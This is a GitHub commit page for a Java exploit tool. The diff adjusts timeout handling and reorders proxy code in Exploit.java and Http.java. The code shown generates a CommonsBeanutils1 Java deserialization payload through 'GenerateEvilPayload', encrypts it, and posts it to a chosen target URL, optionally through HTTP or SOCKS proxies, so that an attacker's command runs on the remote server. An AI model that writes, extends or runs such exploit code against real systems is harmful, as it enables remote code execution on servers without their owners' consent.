Skip to content

Commit

Permalink
fix timeout bug
Browse files Browse the repository at this point in the history
  • Loading branch information
M4rtin Hsu committed Feb 13, 2023
1 parent 8c3241d commit 48fa3e6
Show file tree
Hide file tree
Showing 2 changed files with 23 additions and 23 deletions.
13 changes: 6 additions & 7 deletions src/main/java/org/gaw/Exploit.java
Original file line number Diff line number Diff line change
Expand Up @@ -68,12 +68,6 @@ public static void main(String[] args) {
String bundle = Cryptor.main(data, version);
System.out.println("[+] Successful encryption: " + bundle);
} else if (cli.hasOption("t") && cli.hasOption("c")) {
String timeout = cli.getOptionValue("timeout");
timeout = (timeout == null)?"20":timeout;
int to = Integer.parseInt(timeout);
System.out.println("[*] Timeout: " + to);
System.out.println("[*] Timeout Class: " + ((Object)to).getClass().getName());

String target = cli.getOptionValue("t");
System.out.println("[*] Target: " + target);

Expand All @@ -91,9 +85,14 @@ public static void main(String[] args) {

byte[] deserData = GenerateEvilPayload.main(command, "CommonsBeanutils1");
String bundle = Cryptor.main(deserData, version);
System.out.println("[+] Successful encryption: " + StringUtils.left(bundle, 100) +
System.out.println("[+] Successful encryption: " + StringUtils.left(bundle, 50) +
"...");

String timeout = cli.getOptionValue("timeout");
timeout = (timeout == null)?"20":timeout;
System.out.println("[*] Timeout: " + timeout + "s");
int to = Integer.parseInt(timeout) * 1000;

Exploit(target, path, bundle, proxy, to);
} else {
printUsage(options);
Expand Down
33 changes: 17 additions & 16 deletions src/main/java/org/gaw/utils/Http.java
Original file line number Diff line number Diff line change
Expand Up @@ -11,22 +11,6 @@
import java.net.InetSocketAddress;

public class Http {
public static Proxy getProxy(String proxyURL) throws MalformedURLException {
if (proxyURL.contains("http")) {
URL url = new URL(proxyURL);
return new Proxy(Proxy.Type.HTTP, new InetSocketAddress(url.getHost(),
url.getPort()));
} else if (proxyURL.contains("socks")) {
String[] authority = proxyURL.replace("socks5://","").replace("socks4a://","").replace("socks4://","").replace("socks://","").split(":");;
String host = authority[0];
String port = authority[1];
return new Proxy(Proxy.Type.SOCKS, new InetSocketAddress(host,
Integer.parseInt(port)));
} else {
return null;
}
}

public static HttpResponse post(String url, String body, Map<String, String> headers,
String proxyURL, int timeout) throws MalformedURLException {
HttpResponse result;
Expand Down Expand Up @@ -61,4 +45,21 @@ private static Map<String, String> setHeaders(Map<String, String> headers) {
}
return baseHeader;
}

public static Proxy getProxy(String proxyURL) throws MalformedURLException {
if (proxyURL.contains("http")) {
URL url = new URL(proxyURL);
return new Proxy(Proxy.Type.HTTP, new InetSocketAddress(url.getHost(),
url.getPort()));
} else if (proxyURL.contains("socks")) {
String[] authority = proxyURL.replace("socks5://","").replace("socks4a://","").replace("socks4://","").replace("socks://","").split(":");;
String host = authority[0];
String port = authority[1];
return new Proxy(Proxy.Type.SOCKS, new InetSocketAddress(host,
Integer.parseInt(port)));
} else {
return null;
}
}

}

0 comments on commit 48fa3e6

Please sign in to comment.